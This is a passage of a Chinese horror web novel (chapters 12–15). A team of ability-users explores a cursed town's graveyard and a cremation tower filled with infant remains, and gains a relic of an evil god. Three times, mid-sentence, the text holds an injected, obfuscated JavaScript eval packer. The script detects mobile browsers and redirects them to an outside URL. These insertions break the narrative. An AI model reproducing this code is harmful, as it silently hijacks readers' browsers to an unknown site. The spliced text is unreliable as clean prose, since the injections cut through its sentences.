“老坟地、湖心岛在哪里?”队长忍不住问,他终于看到了找回金少爷的一丝希望。 “在小镇西边,这两个地方是连在一起的。但你们最好不要现在去,因为……子夜就要降临了。”镇长郑重地说。 “子夜?”褚颜问。 “每天子时,都是邪神力量最强的时候。他的神力会覆盖整个小镇,将所有还醒着的生物拖入它的世界。所以你们最好是在这里休息一晚,等明天黑夜与白昼切换的时候,我再让他带你们过去。”镇长指着引路人道。 “时间约莫十点钟,你们有且只有四个小时行动时间。在那以后,黑夜就会降临,我们就不会在外面接应了。”镇长说。 “好,可以。”队长点头答应下来,又说:“你帮我们,需要我们付出什么报酬呢?” 世上没有白吃的午餐,他很清楚这一点。 “邪神的肢体。”镇长道:“只有毁了它们,才能破除小镇的诅咒,打开去往外面世界的通道。” 此话一出,几人都齐刷刷看向了褚颜——杀死怪物后掉落的“右手”,他们都是见过的。 随着几人目光的挪转,两个黑洞洞的枪口也一起转了过来——正是门卫手上那两杆猎枪。 这样的变化谁都没有预料,但出于异能者的直觉,队长和戴雅都在同一时间做出了反应:队长持枪在手,戴雅则放出了绿藤。 “我们没有恶意,但这东西……请你交给我们。”镇长说。 12. 第十二章 迷雾 这是请的态度? 褚颜看向那两杆猎枪,没有说话。 同时他也留意到,队长和戴雅都是对着镇长那方出手——他们明显是站在自己这边的。 也就是说,就算要打起来,三个半——因为他不确定自己能派上多大用场——异能者对付四个人,应该也不会落在下风,平白让他们把东西抢走。 可他们还需要弄清楚小镇内的情况,需要从镇长口中得到更多的信息,明天的探索也需要有人带路,实在不宜把关系弄得太僵。 权衡利弊之后,褚颜决定跟他谈判。 “这东西暂时还不能给你,我留着有用。”他说。 镇长:“这是邪神的一部分,我们必须摧毁它。你把它带在身边,会被它污染的。上一批里就有一个人,在长期接触邪神肢体后,被操控了,反过来对付我们。我必须把危险扼杀在摇篮中,请你理解。” 褚颜反问道:“既然异能者都会被控制,那把它放在你们这群普通人手里,岂不是更危险?” “我们有对付它的办法。”镇长说。 “好吧,我可以给你们,但不是现在。最起码,要等我们去完明天的目的地,确认你说的话是真的以后。”褚颜看了眼身边的队友,说:“这也是为了我队友的安全着想。” 话都说到这个份上,镇长也不可能再强求。 他说:“可以。但你们要记住,这里不只有诡异的怪物,还有满嘴谎言的异端。如果你们能从老坟地、湖心岛那里回来,记得一定要把它给我,不然邪神会用它制造新的怪物。” “成交。”褚颜很快应承下来。 最后,镇长将这间房子留给他们,又叮嘱了一些注意事项,便带着几个手下一起离去。 等外部矛盾一解决,紧随而至的就是内部纷争。 戴雅率先发言,道:“贺兰,你为什么不肯给他?这东西属于邪神,你驾驭不住的。” 她见识过太多被异端感染而失控的案例,怕褚颜也变成那样。 队长也将目光投过来,似乎也在等一个合理的解释。 唯有神父有些不明所以,仍在状况之外。毕竟肢体掉落时,他没有亲历。 在和镇长针锋相对时,褚颜就料想到了这一幕。而他也显然想好了对策,不紧不慢地说:“这东西属于邪神,而金少爷在邪神手里,你们觉得,如果我把肢体交出去,金少爷还能回得来吗?” 此言一出,对面几人都沉默了。 的确。他们只知道邪神是个危险存在,却未考虑邪神也是有意识的。谁也无法去赌邪神的好恶,不能把命运牵系在祂的一念之间。 “那你能掌控住它吗?”戴雅问。 “如果你们担心,我可以找另一间房住。但据他们所说,外面很危险,我不可能出去露宿街头。”褚颜进行了让步,也说出了自己底线。 两边都说得有理,队员们的安全重要,金少爷的下落也重要,考虑到这两点,队长主动出来打了圆场,道:“先按贺兰说的办吧。我们分开住,明天再一起行动。” 他主动做出表率,说:“我离贺兰近一点,一有问题,我就叫醒大家。” 这个方案得到了一致同意。 哨岗里留有被子,虽然潮湿又陈旧,但好歹能御寒。 说起天气,铜山镇的气候也很不寻常。外面已经呼气成冰,这里还一直绵绵密密下着小雨。 褚颜在隔壁房间躺了下来,却还是下意识朝房门的方向挪了挪,毕竟屋子里漆黑一片,还是让人有点害怕的。 他其实并不喜欢强出头,也不愿让队友们陷于危险之中,只是在镇长向他索要“邪神的肢体”时,他感觉到了收容匣中“它”的情绪。 按道理,“它”只是一截手臂,不应该有思考的能力,可褚颜就是能感觉到:“它”在抗拒。 直接告诉他,如果把“它”交出去,一定会有很可怕的事情发生。所以他在最短的时间内做好了决定,也做好了被镇长和队员们责问的准备。 可他毕竟是第一次舌战群儒,到这时心脏仍有些砰砰乱跳,好半天都恢复不过来。 但事已至此,也只能勇敢面对了。 诶,还不知道明天情况如何呢。不知道《救世主保命守则》上会不会给出提示。褚颜想。 他将被子掖到胸口,在忐忑中睡着了。 等他一觉睡醒,已经到了第二天早上九点,距离约定的时间只剩一个小时。 外面依然一片漆黑。 褚颜爬起来,发现队员们都醒了,正在茶水厅里分享早餐。 因为水不多,镇子里的水他们也不敢碰,所以大家都没洗漱,随便擦了擦脸,就开始吃东西。 见褚颜开门,他们都将目光投了过来,像在观察他是否异变。 “还活着,它挺乖的。”褚颜也不知道自己的话有没有可信度,但他实在是饿得很了,索性找了个空位子坐下,拿起面包片就开吃。 “感谢主的恩赐!”神父虔诚地对天祷告一句,然后麻溜地往嘴里塞吃的。 你应该感谢我,你手里这块蛋糕是我抢救回来的。褚颜忍不住在心里吐槽。 队长没说话,默默吃饭,默默收拾,尽显成熟风范。 戴雅也比昨天轻松了不少,她想起自己还承了褚颜的救命之恩,况且对方现在还行动自若,应该没什么大碍。 9:55。 众人看了看表,拿好东西走出门去。 这时,戴雅忽然“啊”了一声,指着外面的几个纸人。 众人都被她的声音吸引,朝她手指的方向看去,这才发现,庭院里的纸扎人少了四个,而且情况惨烈——纸面散碎一地,里面的竹骨架也断成了一截截。 四个。而他们的人数,恰好是四个。 难道说,这些纸人的作用,是给他们当替身,挡灾用的?如果没有纸人吸引注意,现在断成无数截的就是他们了? 褚颜有所猜测,接着便是一阵后怕。 “看来它们代替了我们。”队长显然也有同样的想法。 耐心等了片刻,天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642721|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然唰地一下白了。从黑到白,仿佛只是揭去一块蒙在顶端的幕布,毫无过渡痕迹,尽显突兀。 雨霎时停了,取而代之的是一片蒙蒙的雾。 天空不见太阳,像大雨初晴后的天气,视线依然只能到达几米之外的区域。 也难怪外来者需要有人引路,不然若是像无头苍蝇一样乱撞,指不定要兜多少圈子。 “哒、哒、哒。”熟悉的脚步声再一次响起,引路人大叔再一次出现在了他们视线里,唯一的不同是,这一次他没提灯笼。 “总共四个钟,加上去和回来的时间,你们实际上能用的时间更短。”地中海大叔道:“那里靠近邪神的势力范围,会很危险。做好准备吧。” 他边领着几人往外走,边说:“我会在外面等你们,但如果天黑时你们还没回来,我就自己走了。我没有你们那种超能力,碰上怪物就是个死。” 说完这些以后,大叔就不再多言,于是接下来的路程就在沉默中度过。 走了约莫三十分钟,就到了一片茂密的森林。森林中辟出一条小路,路完全被迷雾掩盖,不辨方向。 大叔在路口停下脚步,说:“进了森林,就是老坟地。过了老坟地再往前走,就是湖心岛。但这地方,没闹鬼时就已经阴森森的,现在恐怕更吓人。” 他说完,就退到一边,把路让给他们。 小队成员没有冒然进入。队长招招手,把另外三人喊到旁边,叮嘱道:“虽然我们这次的任务是找到金少爷,但也要以自己的安危为重,遇到不能解决的怪物,一定不要逞强。” “好。” 于是众人开始检索自己身上的东西,确保有一战之力。 褚颜因为把枪卖给了神父,就从集体装备中拿了一把一尺来长的匕首,材质还算坚硬。 而他胸口则是那本《救世主保命守则》,经过两次与异端的对抗,他发现这东西格外柔软坚韧,可以当盾牌使用。 整理行装后,四人便齐齐往迷雾中走去。 雾中伸手不见五指,也看不到周围情况,只能靠着大致的方向往前走。 队友们挨得很近,几乎是摩肩接踵,还能听到对方的呼吸。 可走着走着,倏然,他们都不见了踪影,茫茫天地之间,只剩自己一个人。 褚颜心头一跳,下意识握紧刀把,将匕首挪到身前。 恐怖片里,一旦人物开始脱离大部队,就有可能要遇害了。 褚颜还没有在这里送命的打算,所以必须打起十二分的警惕。 接着,迷雾一阵荡漾,如水波般慢慢散开,让出一小片区域。 出现在褚颜面前的,依然是一片树林,只是林木的间隙有所扩大,现出平整的地面。 “嘎嘎——”松柏丛中,响起乌鸦粗粝的啼鸣,伴着它振翅飞走的声音。 前方已没了路,后面的来路也已消失,看来必须要往往前走了。 褚颜刚迈出一步,就听见迷雾中传来断断续续的婴儿的哭声。 “哇哇——” 13. 第十三章 老坟地 那哭声像贴着耳后根传来,激起了他一身的鸡皮疙瘩。 “咔嚓。”脚下传来清脆的断裂声,他定睛一看,只看见一具高度腐败的女婴尸体,暴突的眼珠就定定地望着他,白色的蛆虫在烂肉中翻滚。 褚颜捂住嘴巴干呕,极度反胃地往后倒退。 也许是因为自己也有女儿,在看见这样的情状时,他只觉得难言的恐怖和恶心。 而方才还平整的地面,此时已经鼓起了一个又一个小小的坟包。 乌黑的土壤间时不时现出一两根小小的白骨,和一块块腐烂的碎肉。到处都是,几乎让他无处落脚。 空气中弥漫着浓浓的恶臭,只是闻着都让人觉得一阵眩晕。 密集的黑色甲虫从尸体的破洞中爬出,成千上万,汹涌地朝他爬了过来。 褚颜“啊”地一声,想往旁边躲避,却突然撞上一个障碍物。 那是一张男人的脸,无数的花须从他口鼻里蔓延出来,密密麻麻的种子像莲蓬一样堆在他的毛孔里,皮肤长着青绿色的鳞状表皮,还有无数花苞在他的身体里发育,鼓出一个又一个脓包。 脚下生着根,扎进土壤里,他立在这里,就是一座活生生的墓碑。 褚颜才看了他不到一瞬,他的那张脸就倏然裂开,裂成一朵血淋淋的长满锯齿的食人花,对着褚颜的脑袋就咬了过来。 褚颜仓皇后退,可前后左右,全都是这种人形墓碑。他们的花须在空中一荡一荡,似乎在欢迎着他的到来。 那凄厉的婴儿哭声又响了起来,成千上万,无穷无尽。 一股黑气倏然打落了他的匕首,下一刻脚底下的泥土变得松软如泥沼,将他整个人都吞了进去。 褚颜在第一时间后仰身体,摊开手臂,努力增大自己的接触面积。 可这根本没有用,从土层中伸出上百只嶙峋的白骨小手,将他一点点拖了下去。 “咔咔。” 一片乌云倏然飘过,遮住了天光。 那些小小的坟包突然都动了起来,爬出一个又一个白白嫩嫩的小女婴。 她们熟练地爬了过来,用黑气凝成的小铲子,开始往褚颜陷落的地方填土。 她们一边挖,一边异口同声地唱起了童谣:“在小小的花园里面挖呀挖呀挖, 种小小的种子, 开小小的花…… 在大大的花园里面挖呀挖呀挖, 种大大的种子, 开大大的花……” 倏然,日光洞破了黑云,于是她们便都显出了另一副模样。 有的脑袋歪在折断的颈椎旁…… 有的口鼻处源源不断地冒着水…… 有的浑身上下插满了银色的绣花针…… 有的漆黑如火烤过的焦炭…… 有的沾满蚊子和绿头苍蝇…… 有的像被煮过一样泡松发烂…… 乌云很快弥补完全,黑暗又笼罩了整片树林。于是熟悉的充满童稚的歌声又一次响起,充满了愉悦与欢欣。 她们高兴地唱,唱啊:“在小小的花园里面挖呀挖呀挖……” 停下来,给我停下来。 褚颜竭力地伸出手,想制止她们的行为。 他知道自己能让怪物们的动作停下来,无论是1313号房的本体,还是残肢巨怪身上那些断肢,都在想伤害他时住了手。 虽然他并不知道能力发动的条件是什么,但此刻危急关头,也由不得他思索。 虽然有土层的遮掩,可在褚颜强烈的主观意愿的作用下,女婴还是僵在了原地,像切断电源的机器。 可下一秒,她们又重新动了起来,拿起铲子开始刨土。 一股更强大的力量接管了她们。褚颜的脑海中自动冒出了这个念头,而他的思绪也在下一秒陷入了停顿。 无数的花叶和根须从他嘴里冒了出来,在土壤里扎根,他的手脚开始变得迟钝,无法再掌控自身。 可他还活着,还能呼吸。 随着每一次呼出空气,他胸前的土壤都会陷过来更多,挤压着他的生存空间。随着时间的延长,他渐渐感到呼吸困难,肺也无法再正常舒张。 土从四面八方挤过来,重逾千斤。 他要被活埋在这里,变得跟那些男人一样,生根发芽,成为一座活生生的、会开花的墓碑。 这个认知让他没来由地恐惧,他想挣脱,想逃离,想完成任务,想回家。 他还有女儿,他不能死在这里! 小女婴们填完土,还跳上去用力踩了踩,像生怕土埋得不够严实。 她们很快就会有新的花啦。 这里会变成漂亮的大花园的。 女婴们“咯咯咯”地笑了起来。 “唰。”一只有力的手骤然穿破土层,将还在踩土的女婴一把抓住,狠狠抛开。 那只手的主人轻而易举地将千斤重的土层推开,从坑底爬了出来。 褚颜挥掌拍向自己胸口,吐出了一段青色的藤蔓。即便落到地上,它依然在不断地扭动,试图再一次往他身体里钻。 褚颜抬起脚,干脆地将它一脚踩死,而后冷漠地掸去身上泥土,从地上捡起了自己的刀。 他的双眼空茫淡漠,却自有一股无形的威压,迫得女婴们齐齐跪伏下来,瑟瑟发抖。 死亡的感觉已经如此临近,也许只要他抬一抬手指,就能把它们全都杀死。 几个胆儿大的,尝试着微微抬头,想获得他的指示。 褚颜眯了眯眼,杀意在心头一闪而过,又被他压制下来。 他指了指泥土,不消只字片语,女婴们已经会意,顿时如蒙大赦,忙不迭扒开土往里面钻去。 那蛄蛹蛄蛹滑稽又狼狈的模样,逗得褚颜扯出了一丝笑容。 但那笑极淡,不过片刻,就已消失殆尽。 他信步往前走,那条消失的道路又重新出现在眼前。 人形墓碑已不再动弹,只是麻木地伫立着,不敢再向他出手。 褚颜收刀入鞘,只消一个念头,所有墓碑都在瞬间爆裂,炸成了一堆血雾。 ——“源”的摄入,让他变得更强了。 他在路边找了一个安全的地方,靠着睡了过去。 …… 褚颜蓦然醒了过来,睁开眼一看,眼前是茫茫的雾,而不是厚厚的泥土。 他摸了摸自己的脸和身体,待感受到温度和脉搏,又掐了自己一把,才确定自己尚在人间。 乌云已经从林间散去,空荡荡的林子里,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654896|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩下一团团黏腻的浆糊似的碎肉,那些诡异的婴儿也不见了踪影。 而自己还全须全尾,不见半点损伤。 不会吧…… 这场面不会是自己造成的吧…… 他什么时候这么厉害了? 他擦了把汗,又忍不住想,“遗忘”这么有效的吗?忘记恐怖的事情就算了,怎么连自己的高光时刻也忘了啊? 他欲哭无泪,只好把《救世主保命守则》拿出来,看看它有没有什么新的指示。 前两页没有变化,但是第三页出现了新的内容。 “第三条:沉默! 鬼怪神魔不可侵。” 这看起来是对自己那种神奇能力的解释,当他遇到危险时,可以让怪物陷入“沉默”状态,表现为技能失效,或是动作停滞。 只是“沉默”貌似是一种被动技能,只有在自己遇到危险的时候才会发动,且有一定限制。 像隔着一层厚厚土层,怪物没法直接作用到他身上的时候,“沉默”就没那么管用。 而且“沉默”也能被更高层次的力量化解。 不过有总比没有好。褚颜安慰自己道。 而下面的注释,褚颜觉得应该解读为“鬼、怪、神、魔”,指的是四类东西,或者这一系列。 但它显然没包括“人”,也就是说,某些人类的攻击,他是没法“沉默”掉的。 好吧,也算是对自己有更深的了解了。他把黄棕色笔记本塞回胸口,定睛看向前方。 迷雾散去的前方,道路倏然分成了两条。 可褚颜明明记得,引路人没有说过这里有岔路,这多余的路很可能是凭空变出来的。 那哪条会通往湖心岛呢? 褚颜捡起块石子,将它抛飞,看着它兜兜转转,掉到了中间。 无法确定?算了,男左女右吧。 褚颜做完决定,就迈步往左边走去。 …… 灰塔。 和队员们失散后,呈现在秦契队长眼前的,是一座高高的灰塔。 那建筑物通体由石砖砌成,足有七八层,顶部鼓起,四周留有不少小洞。 侧边有一座相连的建筑,较低矮些,与高塔相通。 除此以外,这附近就再无其他显眼的东西存在。 似乎需要自己去探究一二? 秦契警惕地拿起枪,一步三看地走到灰塔下方,查看情况。 靠近塔底的地方,刻着一块铭牌,上面写着如下内容: “义塔 灵帝光和两年,洛阳上西门外女子生儿,两头,异肩,共胸,惧前,向以为不祥,堕地,弃之。 ——《后汉书》” 幸好句子并不十分难懂,说的是某地有女子生了个畸形儿,长得奇形怪状,家里人觉得不吉利,就把孩子给扔了。 以秦契的观点来看,这就是双胞胎儿子不幸长到一起去了,没什么稀奇。只是古代医疗技术不发达,少见多怪罢了。 沿着灰塔走了半圈,一道石砌的楼梯就出现在他面前。弯弯曲曲,直通塔顶。 现在队员们不见踪影,金少爷也不知去向,不如上去看看,看能不能找到有用的信息? 秦契想着,便提步往上走去。 14. 第十四章 焚尸炉 这一路倒是没什么危险。秦契攀到顶端,低头往下一看,也只能窥见一片白茫茫的雾,不见周围情景。 就在他心头稍定,打算观察塔里情形时,一头满脸腐肉的老虎突兀地出现在他面前,对着他扑了过来。 秦契下意识往后一躲,接着便失控地往下坠去。 雇佣兵的本能让他在瞬间做出了反应,右手迅速攀住入口边缘,止住了下落趋势。 他从腰间摘下探照灯,照向塔底。 光线所到之处,层层叠叠的白骨显露了出来,多如牛毛,不计其数。 如果不是亲眼所见,恐怕秦队要以为自己进了什么屠宰场,或是万人坑。 但不同的是,这些骨头并不属于成人,大的约莫六七岁,小的不过拳头大小,像是襁褓中的幼儿。 而白骨的边沿、灰塔的内壁上,凝结了一层厚厚的飞灰,不知积攒了多少年。 他刚准备借力爬上去,却骤然发现入口已经消失,而攀附处也变得黏腻湿滑,像长满了细小血管的腹部内壁。 “哗!” 随着支撑点回缩,他的身体再一次失重下坠。 “嘭!” 一枚袖箭发出,结结实实地钉在对面塔壁上,而他则借着这股力,迅速荡了过去。 勉强稳定身形,此时他的足尖已经距离骨堆不到一寸。 他记得高塔旁边连了个侧塔,两者相通,只要能找到连接口,就能通过低矮的侧塔直接出去。 随着探照灯挪转,他很快发现了那个黑洞洞的口子,正待跃过去,却忽然看到熊熊火光“呲啦”一声燃起。 那火从侧塔方向开始蔓延,只一瞬间就吞并了整个灰塔,让他再无处着落。 此时秦队才明白,那根本不是什么侧塔,那是灰塔的进火口,整个塔就是一个大号的焚尸炉! 似在与他的想法相呼应,那些骨头在烈火中一点点长出血肉。 血肉又在火中焚燃,变成一个个焦黑的面目全非的怪物。它们挥舞着不断焚烧熔化的肢体,一边哭叫着,一边朝近在咫尺的秦队扑去。 高温与怪物的逼迫,让秦队不得不缩短袖箭,把自己拉了上去。 可他却忘了,这塔是活的! 只见塔壁一个收缩,就把袖箭有倒刺的那端吐了出来,他险险跌进怪物堆里,烈火瞬间燎上他的衣袍。 怪物的指爪触碰到哪里,他的那块皮肤就像遭了火烧一样,迅速焦黑碳化。 他忍着剧痛再次发出袖箭,将自己的身体拽上高空。 堪堪摆脱怪物的捕捉,一道鬼魅的幽影又突然朝他扑了过来。 那是一只半身腐烂,肚肠外流的豹子,它一击不中,就落到塔壁的另一端,虎视眈眈地看着他。 而上方更远的黑暗里,更多的野兽显出了形貌。 它们是来此捕猎的野兽,或许它们的本来目的是获取塔底的幼儿,但此刻显然有了更加鲜美的猎物。 猛虎先行扑了过来,凶悍无匹,满嘴腐臭。 秦队一枪直击它的头颅,强大的冲击力让它的脑袋一下爆开,烈焰从伤口中燃起。 虎尸掉入焦炭怪物群,被那些浑身浴火的小孩们分食殆尽。 听说被活活饿死的人,死后会格外渴望食物,或许烈火焚烧,并不是小孩们唯一的死因。 来不及等他细想,更多的野兽扑了过来。它们大都保有强化后的生前能力,比如那豹子速度极快,力量极大,一下就咬碎了他的肩头——若非他及时闪躲,恐怕这一下就要啃上他的咽喉。 底下的火继续焚燃着,而且越烧越上了。 他听见火中传来迷蒙的絮语:“秦契……别再挣扎了……” 那声音让他一时侧目,定睛一看时,发现火中出现了熟悉的身影。 那是他的队友,死在战场、死在任务中的队友们…… 他们依然维持着生前的样貌,温和笑着,对他道:“到我们这里来吧,这里才是永恒的安宁……” 他想起来了,想起和这些人一起并肩作战的日子,和他们一起插科打诨的日子,和他们一起畅谈未来、思念妻儿的日子…… 腿部的剧痛将他从幻想的美好中醒了过来,熊熊的烈火早已燎上他的裤脚,而他的右腿……已被烧得一片焦黑。 原来他已在不知不觉间下放了绳子,自投向这无边的火海。 他在仓皇间上升,拖着受伤的躯体和野兽搏斗。 痛觉让他失了灵敏,他再无法灵巧地在塔壁间穿行。袖箭射出的速度越来越慢,但他坠亡的危险却越来越大了。 被咬伤的右肩勉力催动右臂,抬枪扫掉一个又一个试图扑过来的野兽,干掉一个接一个试图爬上来的怪物小孩……失重与烈火,身体的疼痛与火中的呼喊,都在试图吞噬他的生命。 意识渐渐模糊,他不自觉想要放弃了。 就这样坠落吧,和他的战友们一起。只要松开手,就可以和他们重逢,回到那个热闹又欢乐的世界。 可垂落的头颅,却瞥见胸口处一截闪亮的链子,一直往下延绵。 他下意识扯出那个链子,发现下面悬着个吊坠……里面用树脂凝固着一张双人照片,那是他的妻子……和他刚满三岁的孩子…… 混沌的脑袋在这一瞬间获得了片刻清明,他蓦然从被控制的状态中清醒,这才发觉自己已落入烈火之中,浑身上下都爬满了焦炭般的怪物小孩。 此时此地,已是绝境。 他还不能死! 任务还没有完成,他还没有带上他的赏金,回到他平凡却无比幸福的家庭! 他的左手在收容匣中一带,拿起一枚红色的胶状物,径直往口中送去。 火焰瞬间吞噬了他的躯体,怪物们也相继爬到了头顶。 秦契重重地倒了下去,似乎永不会再爬起。 倏然间,火苗停住了。 “哔啵哔啵”的骨骼炸响声里,传来了仿若绿芽破土的声音。 是春天,是新生,是一切的开始。 火焰缓缓上升,凝固成一条火龙,围绕着灰塔盘旋。 那些幽灵野兽,就像遇到克星一样纷纷下落,如一场连绵的雨。 怪物小孩们纷纷褪去了焦炭般的外壳,变回白骨,又变成灰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667162|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烬。 秦契在灰白之中重新出现,衣衫破碎,气息虚弱,但躯体已经恢复完全。 摄入的“源”让他获得了极大的提升,他新得的能力是:控火。 他一步迈出,对着侧塔方向奔去。 …… 呈现在褚颜面前的,是一座足有七八层的灰塔。 塔内偶有野兽嘶吼,还有说不清道不明的古怪爬行声。 他走到塔底,刚准备一探究竟,却突然听见一阵断断续续的女子哭声。 他从进到小镇来,还从没见过戴雅以外的第二个女人。 难道是戴雅? 他循声走过去,见到一个瘦瘦的身影缩在塔侧,长发披散,不辨面目。 “戴雅?”褚颜拍了拍她的肩膀,那女子便突然抬起头来,皮肤青白,七窍流血。 褚颜下意识往后退了一步,那女子却又恢复了正常,脸颊变得红润又有活力,血液也不见了踪影。 而随着她抬起头,褚颜才注意到,她的怀里抱着一截东西——那竟是,一条人腿! 难道这是个杀人分尸的怪物? 褚颜默默拉开了和她的距离,生怕她突然暴起。 可观察着观察着,褚颜却发现,那截人腿,有些熟悉…… 难道…… 他的手不自觉摸上腰间的收容匣,想到被他们合力杀死的那只残肢巨怪,还有掉落的那截“右手”。 难道这也是邪神躯体的一部分? 可这不是要打败怪物才能获得吗?莫非这是个陷阱。 褚颜停在原地,思量着自己该何去何从。 如果退缩,确实可以远离危险,但必定一无所得。可直觉告诉他,“邪神的肢体”就是破局的关键。 要是前往试探,以他一个人的力量,必定会身陷险境,但收益也是不可估量的。 想到胸口能抵挡穿刺的《救世主保命守则》,和那种让怪物暂停或失去魔法的“沉默”能力,褚颜稍微有了点信心。 于是他大着胆子走上前去,问:“小妹妹,你怎么一个人在这里啊?” 这搭讪的话怎么那么像变态大叔啊。褚颜在心里吐槽自己。 “不要去他们那里!”小姑娘一把抓住他的手臂,虽隔着冬天的衣物,但褚颜还是觉得,那手指……一定如尸体般寒冷冰凉。 “去哪里?”褚颜忍住拨开她手的冲动,尝试着与她交流。 “宗祠!”小姑娘紧张道:“全镇的男丁都在那里……他们在祭祀……把祭品献祭给邪神……” 褚颜忍住心中的惊涛骇浪,努力理解她这句话的意思。 全镇的男丁……看样子,这是个女人不能参与祭祖的、思想落伍的村镇,而且很可能存在宗族势力。 献祭给邪神?但那个镇长不是说,他们在对付邪神吗?难道说,他在骗自己? 人类和怪物的两种口径,让褚颜一时难下决断,他反问道:“镇子里的人不是要对抗邪神吗?为什么又要向邪神祭祀呢?” “那是现在……一开始不是这样的……”女人摇着头,道:“他们都是邪神的子民……” 15. 第十五章 “是邪神给了他们源源不断的财富……”她睁着死鱼般的眼睛,死死盯着褚颜,道:“代价就是活的祭品,我妈妈就是他们的祭品!” 活祭?也就是说,她妈妈是个活人,或者她在最开始,也是个活人。 后来因为某种不知名的因素,她变成了现在这副模样。 褚颜尝试着挖掘更深,但女子来来去去就是这么几句,多的怎么也不肯说了。 像那种设定了固定程序的机器人,或者游戏里的NPC。褚颜心想。 他只好转换话题,指着那截肢体,问:“小妹妹,你这个东西是从哪里来的?” “是……是祂给我的。”女人浑浑噩噩地说。 祂?这个称呼让褚颜一阵恍惚。 在那个不断逃亡的梦中,他听过这个字眼。 在队长口中,他也听过这个字的解释。这是对于上帝、耶稣,或者神明的第三人称代词。 而据他所知,在这个扭曲混乱的世界中,神并不是唯一的。 那女人口中的这个“祂”,又是谁呢?“祂”是镇民们祭祀的那位邪神,还是另有所指? “那,你能把它给我吗?”话一出口,褚颜也觉出了自己的无耻。毕竟上一块肢体他们千辛万苦才拿到,这一块他居然想白嫖。 但也许是因为,这个女人是他这么久以来,遇到的第一个能正常交流的怪物,他下意识就以对待人的口吻来对待她了。 “可……可以。这本就是,送给你们的。”女子意识不清地说。 “送给我们?”褚颜有些惊讶。 难道说,她出现在这里,是“祂”的旨意?那“祂”的目的又是什么呢? 眼见女子已经把肢体递了过来,褚颜犹豫片刻后,还是接过了。 “请问,我需要付出什么代价呢?”他明白,凡事有舍才有得,世上从没有白吃的午餐。 “不要把这个……交给他们。”女子郑重道。 这个要求倒是不难,因为褚颜本就没想给。 “还有……”女人说,“如果你想知道真相……就去万平路88号……那里有一切的答案……” “祂期待着你的选择,也期待着与你会面。” “当所有肢体齐聚,你就会见到祂了。” 抛下这么没头没尾的几句话,女子就忽然消失了身影,仿佛她从未在此出现过。 褚颜掂量着手里那截腿,发现它是一截“左腿”。因为前几次都是深入险境才得到奖励,他也生怕这截肢体藏匿着什么玄机。 再三检查无误后,他才稍稍放下心来,开始思索女人留下的信息。 “所有肢体齐聚”,也就是说,集齐所有肢体,是面见“祂”的要求。 这有点像集齐任务碎片就去挑战大boss的设定啊,虽然这“碎片”稍显地狱了点。 正在他打算将肢体扔进收容匣时,忽然听见“嘭咚”一声,一个满身黑灰的人从爆开的侧塔处滚了出来。 “咔咔。”一柄漆黑的枪瞄准了他。 褚颜下意识举起了双手,肢体也径直下落,又在离地一尺的地方停住。 滚出的人正是秦契。 他虽然控住了火,但侧塔处的门上居然还有机关,他套了好一会,才根据开口处“三日大火”的提示逃了出来。 简单来说,就是灰塔里的火,三天才会烧一次。 而如果他想出来,就必须满足“三天”这个条件。 但外面的世界迷雾一片,不辨日月,就算他想空熬三天,也没把握能在一群怪物的围追堵截下活下来。 最后他利用自己的控火术,以及吊坠的反光性,模拟了三日三夜的温度和日月的变化,才终于骗得侧塔开门。 但灰塔内的场景却是确确实实在变的。 他眼睁睁看着那些小孩以婴儿的形态出现,在塔底挣扎、哭喊、挨饿,又看着它们腐烂、发臭。 它们成了犲狼虎豹的食物,成了细菌和虫豸的温床。 而后一场大火燃起,把将死的已死的躯体烧成灰烬。 有些婴儿在死前还留有声息,在大火中痛苦地哀嚎、惨叫,手脚熔化粘成一团,在无尽的折磨中凄惨死去。 这“三天”的所见,对于秦契来说是一种极致的精神冲击,好几次他差点停下大火,以放过那些受罪的孩子。 但他一想到火不燃,他就没办法逃走,又只好逼着自己继续。 而一旦逃出生天,在看见人影时,他的第一反应就是拔枪射击。 但对面那人举手投降的姿势,让他下意识愣了一下,而后才蓦然发现,这竟然是个熟人——贺兰。 虽然是熟人,但秦契也不能保证这是不是怪物变出来骗他的,便抛出疑问道:“打败残肢怪物后,你给了我一件什么东西?” 这是仅有三个人才知道的事。 熟悉的嗓音让褚颜认出了队长的身份,他心下稍定,认真回答道:“一块红色的‘源’?” 猜得还挺准。秦契想,又抛出下一个疑问:“你把棕色的那块卖了多少钱?” 他打定主意,要是对方回答失误,他就一枪崩了他。 褚颜想也没想,回道:“卖了一万,卖给了拉维欧。而且不是以‘源’的形式,是以超凡物品——枪的形式。” 看他答得这样正确,还这样精准,秦契这才放下戒心。 他走过去,刚准备攀谈两句,就瞥见褚颜前方那条人腿,当即吓得一退三尺。 “这是什么?” 